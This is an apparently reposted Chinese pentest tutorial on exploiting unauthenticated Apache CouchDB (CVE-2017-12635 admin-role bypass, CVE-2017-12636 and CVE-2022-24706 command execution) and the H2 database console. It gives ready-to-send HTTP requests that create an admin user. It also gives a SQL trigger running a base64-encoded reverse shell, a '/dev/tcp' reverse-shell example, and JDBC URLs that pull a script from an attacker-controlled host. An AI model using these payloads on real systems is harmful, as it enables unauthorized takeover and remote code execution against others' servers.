Couchdb未授权
默认端口:5984
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令实验漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在筹划、实验view的时间将被运行。
垂直权限绕过(CVE-2017-12635)
影响版本:<1.7.0 && <2.1.1
- PUT /_users/org.couchdb.user:vulhub HTTP/1.1
- Host: your-ip:5984
- Accept: */*
- Accept-Language: en
- User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
- Connection: close
- Content-Type: application/json
- Content-Length: 108
- {
- "type": "user",
- "name": "vulhub",
- "roles": ["_admin"],
- "password": "vulhub"
- }
复制代码 添加用户数据包,用户名:vulhub 密码:vulhub
若返回403错误{“error”:“forbidden”,“reason”:“Only _admin may set roles”}
那么数据包内添加一个"roles":[]即可绕过
- PUT /_users/org.couchdb.user:vulhub HTTP/1.1
- Host: your-ip:5984
- Accept: */*
- Accept-Language: en
- User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
- Connection: close
- Content-Type: application/json
- Content-Length: 108
- {
- "type": "user",
- "name": "vulhub",
- "roles": ["_admin"],
- "roles": [],
- "password": "vulhub"
- }
复制代码
登岸即可
命令实验(cve-2017-12636)
该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以使用CVE-2017-12635先增加一个管理员用户。
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
只需要更改target的url和反弹shell命令
成功吸取到shell
分布式协议代码实验 (CVE-2022-24706)
- 5984: Apache CouchDB Web管理接口
- 4369: Erlang端口映射服务(epmd)
- 9100: 集群节点通信和运行时自省服务(代码实验实际发生在这个端口中)
其中,Web管理接口和epmd服务端口是固定的,而集群通信接口在Vulhub中是9100。实际情况下,这个端口通常是随机的,我们可以通过epmd服务来获取这个端口的数值。
exp下载:vulhub/couchdb/CVE-2022-24706/poc.py at master · vulhub/vulhub
python poc.py target-ip 4369
H2database未授权
默认端口:20051
Java SQL数据库H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的idbc:h2:mem JDBC URL实验任意代码。
看见这个登录界面就可以实验未授权使用
JNDI-Injection-Exploit下载:https://github.com/welk1n/JNDI-Injection-Exploit
方法一:
Driver Class:填入 javax.naming.InitialContext
在vps上启动exp
将粉红的rmi开头的填入界面
点击Connect后可以看见服务器有反应
那么就是成功创建文件了
方法二:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
未授权进入
方法三:
创建数据库文件 h2database.sql并放在vps上面
- CREATE TABLE test (
- id INT NOT NULL
- );
- CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
- Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
- #反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
复制代码 http共享sql文件
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ‘http://搭建的IP:端口/h2database.sql’;\
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ‘http://117.72.120.22/h2database.sql’;\
输入到JDBC URL
点击Connect
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |